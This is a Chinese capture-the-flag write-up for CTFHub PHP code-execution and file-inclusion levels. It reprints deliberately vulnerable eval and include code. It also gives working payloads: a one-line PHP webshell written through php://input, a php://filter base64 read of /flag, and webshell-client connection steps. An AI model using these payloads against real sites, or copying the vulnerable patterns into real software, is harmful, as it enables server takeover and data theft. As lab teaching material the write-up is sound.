CTFHUB——RCE之eval执行和文件包含漏洞
代码解释:本关代码和第一关文件包含一样,通过strpos函数判断参数是否存在flag字符,存在就执行include函数。因为本关没有限制php://input伪协议,所以本关解法和上一关一样,这里就不再赘述了。代码解释:本关代码和之前php://input关卡一样,通过substr函数来判断file参数是否等于php://,如果等于就执行include函数。代码解释为如果存在cmd参数,那就用ev
CTFHUB——RCE之eval执行和文件包含漏洞
eval执行
本关代码如图所示
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
代码解释为如果存在cmd参数,那就用eval函数执行cmd参数中的代码,所以本关存在命令执行。
通过ls
命令查看当前目录文件,只有一个index.php文件
所以通过ls /
命令查看所有目录
成功发现flag文件,通过cat命令进行查看
文件包含
在学习本关时,如果对文件包含漏洞不是很了解,可以查看我的这篇文章,里面详细讲解了文件包含漏洞。
文件包含漏洞全面详解
进入本关后代码如图所示。
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
这里有一个strpos(string,find,start)函数
意思在string字符串中找find的位置,start是查找的开始位置
那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET[“file”]
否则就输出Hacker。
通过下方的英文得知,本关存在一个shell.txt,点击蓝色的shell,就会跳转到shell.txt界面
发现里面写的是常见的一句话木马文件,因为这里存在include函数,所以这里我们有两种获取flag的方法。
方法1:直接通过post发包进行命令执行
将ctfhub传的参数用php执行
成功获取当前目录
接下来步骤就和上一关一样,只不过将命令通过post传参进行命令执行。
查看当前所有目录,发现flag文件
通过cat命令查看flag文件
方法2:通过webshell工具直接连接shell.txt文件
这里我通过蚁剑直接连接shell.txt文件
注意:连接前记得把本地代理关闭,要不可能无法正常连接。
添加后改成进入后台。
右键打开终端命令
进入终端后,输入命令和之前命令一样,成功获取flag
php://input
进入本关后代码如图所示
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
代码意思为:通过使用substr函数对file参数的前5个字符进行判断,如果等于php://才会执行include函数。
所以本关要求我们使用伪协议,我们可以通过伪协议php://input进行执行php代码。还是有两种方法可以获取flag。
方法1:直接在浏览器上通过post参数进行命令执行。
查询当前目录
查询所有目录,发现flag文件
通过cat命令获取flag
方法2:可以通过php://input伪协议写入一句话木马,然后通过蚁剑连接获取flag。
写入代码如下,建议用burpsuit抓包通过repeater模块进行写入,这样可以更直观的知道一句话木马是否写入成功。
<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>
通过蚁剑进行连接
连接成功后,其余步骤与上一关相同。进入终端输入命令查询flag。
远程包含
进入本关后代码如下
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
代码解释:本关代码和第一关文件包含一样,通过strpos函数判断参数是否存在flag字符,存在就执行include函数。因为本关没有限制php://input伪协议,所以本关解法和上一关一样,这里就不再赘述了。
flag如下
读取源代码
本关代码如下:
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
代码解释:本关代码和之前php://input关卡一样,通过substr函数来判断file参数是否等于php://,如果等于就执行include函数。
本关题目为读取源代码,所以本关我们需要使用php伪协议中的filter读取源代码。
payload为:
php://filter/convert.base64-encode/resource=/flag
成功获取到flag的base64编码
解码后成功获取flag
当然本关没有什么限制,如果直接读取的话也是可以成功读取出flag的。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)